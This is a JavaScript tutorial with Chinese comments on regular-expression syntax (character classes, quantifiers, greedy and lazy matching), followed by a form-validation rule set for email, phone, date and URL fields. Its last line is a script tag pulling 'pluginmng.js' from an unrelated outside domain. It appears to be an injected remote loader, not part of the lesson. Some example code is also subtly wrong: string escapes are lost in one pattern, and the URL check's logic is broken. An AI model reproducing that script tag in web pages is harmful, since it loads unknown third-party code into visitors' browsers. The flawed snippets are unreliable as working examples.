/*
* 转义字符
*/
var reg = new RegExp("\(1\+2\)\*3");
document.write(reg.test("(1+2)*3") + " " + reg.test(1));
/*
* 字符集合:匹配"多个字符"中任意一个字符的表达式
*/
// 除换行符意外的任意一个字符
reg = new RegExp(".");
document.write(reg.test("a") + " " + reg.test("\n") + " ");
document.writeln();
/* \w:字母、数字、下划线
* \W: 相反的
*/
reg = new RegExp("\\w");
document.write(reg.test("a%$#") + " " + reg.test("@#%$") + " ");
/* \s: 空格、制表符、换页符等空白字符
* \\S
*/
reg = new RegExp("\\s");
document.write(reg.test(" ") + " " + reg.test("ab1#") + " ");
/* \d: 0-9数字字符
* \\D
*/
reg = new RegExp("\\d");
document.write(reg.test("0a") + " " + reg.test("a @#\n") + " ");
/*
* 自定义字符集合:用[]包含多个字符,匹配其中的任意一个;否定式:[^]
* RegExp中的特殊符号除了\ [] : ^ - ,若被包含其中,则失去特殊意义
*/
reg = new RegExp("[\-\d+.]"); // 匹配数字、小数点、-、+
document.write(reg.test("-") + " " + reg.test("abvc") + " ");
reg = new RegExp("[\dA-Fa-f]"); // 数字、A-F、a-f
/*
* 匹配次数限定符
*/
// 贪婪式:尽可能多的匹配
reg = new RegExp("\\w{3}"); // 固定重复3次,等价于"\\w\\w\\w"
document.write(reg.exec("a_3") + " ");
reg = new RegExp("ba{1,3}"); // 尽可能重复3次,至少重复1次 "ba" "baa" "baaa"
document.write(reg.exec("ba1a") + " ");
reg = new RegExp("\\w\\d{3,}"); // 至少3次
document.write(reg.exec("fj233") + " "); // "j233"
reg = new RegExp("ba?"); // "ba{0,1}
document.write(reg.exec("ba1a") + " ");
reg = new RegExp("ba+"); // "ba{1,}
document.write(reg.exec("ba1a") + " ");
reg = new RegExp("ba*"); // "ba{0,}
document.write(reg.exec("ba1a") + " ");
// 勉强模式:尽可能少的匹配 (?)
reg = new RegExp("a{1,2}?"); // 尽量1次,最多2次
document.write(reg.exec("aal") + " ");
reg = new RegExp("a{1,}?"); // 尽量1次,最多任意次
document.write(reg.exec("abaa") + " ");
reg = new RegExp("a{1,}?"); // 尽量1次,最多任意次
document.write(reg.exec("abaa") + " ");
reg = new RegExp("a??"); // {0,1}?
document.write(reg.exec("cb") + " ");
reg = new RegExp("a+?"); // a{1,}?
document.write(reg.exec("abaa") + " ");
reg = new RegExp("a*?"); // a{0,}?
document.write(reg.exec("abaa") + " ");
/*
* 字符边界:本身不匹配任何字符,只对字符边界和字符间缝隙附加条件
* ^:当前位置必须是文本开始位置
* $:当前位置必须是文本结束位置
* \b:当前位置的两侧,只能有一侧是字母、数字或下划线
*/
/*
* 选择表达式:用"|"分隔多段表达式,匹配其中任意一段
* 从左向右尝试匹配
*/
/*
* 分组:用()将其他表达式包含,使得被包含的表达式组成一个整体,
* 在被修饰匹配次数时,可作为整体被修饰
* 从左向右尝试匹配
*/
下面看个常用的验证例子 :
/*
构件验证引擎的规则和错误描述的标准集合
*/
var errMsg = {
email: {
msg: "Not a valid email address.",
test: function(obj) {
return !obj.value || /^[a-z0-9_+.-]+\@([a-z0-9-]+\.)+[a-z0-9]{2,4}$/.test(obj.value);
}
},
phone: {
msg: "Not a valid phone number.",
test: function(obj) {
var m = /^(\d{3}).*(\d{3}).*(\d{4})$/.exec(obj.value);
if (m != null)
obj.value = "(" + m[1] + ") " + m[2] + "-" + m[3];
return !obj.value || m != null;
}
},
date: {
msg: "Not a valid date.",
test: function(obj) {
return !obj.value || /^\d{2}\/\d{2}\/\d{2,4}$/.test(obj.value);
}
},
url: {
msg: "Not a valid url.",
test: function(obj) {
return !obj.value || obj.value != 'http://' || /^https?:\/\/([a-z0-9-]+\.)+[a-z0-9]{2,4}.*$/.test(obj.value);
}
}
}
<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>